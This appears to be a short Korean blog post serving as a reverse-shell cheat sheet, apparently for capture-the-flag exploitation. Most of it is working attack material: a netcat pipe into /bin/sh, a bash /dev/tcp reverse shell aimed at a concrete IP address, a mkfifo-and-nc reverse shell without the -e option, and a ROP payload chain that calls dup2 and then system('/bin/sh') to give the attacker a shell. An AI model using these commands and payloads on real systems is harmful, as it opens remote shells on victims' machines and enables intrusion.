그냥 안되서 임시포트들을 쓰기로 했다. 이것들 쓰니까 잘되넹 ㅎㅎ


8000 ~ 8002 나 8080 ~ 8083 같은것들을 쓰면 된다. 아주 편하다!


8000

8001

8002

8080

8081

8082

8083

9090


또는 호스트에서 2개 nc로 열어서 입력과 출력을 담당하게 해서, 공격서버의 /bin/sh와 연결해서 쓰기

nc localhost 8080|/bin/sh|nc localhost 9090


아니면 아래와 같이도 사용가능하다.

공격자 : nc -lvp 8080

희생자 : bash -i>& /dev/tcp/공격자아이피/포트 0>&1

bash -i>& /dev/tcp/168.188.123.187/8080 0>&1


* nc에서 e 옵션 없이 reverse shell 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f


그 외에도 ROP나 Shellcode 사용이 가능하다면 dup2를 이용해서 fd를 복사해사용할 수 있다.

보통 소켓으로 돌아가는 프로그램에서 사용하는 fd때문에 system함수로 /bin/sh를 실행하여 쉘을 따도 리모트서버에서만 쉘이 따지는데

dup2를 이용해서 사용자 fd를 stdin과 stdout으로 리다이렉트 시켜주면된다.


ROP나 SHELLCODE를 다음과 같이 사용할 수 있도록해주면 된다.

dup2(fd, 1) - dup2(fd, 0) - system("/bin/sh")


#Stage 1 - dup2(fd ,1)  # copy fd
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(dup2)
#Stage 1 - dup2(fd ,0)    
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(dup2)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)




+ Recent posts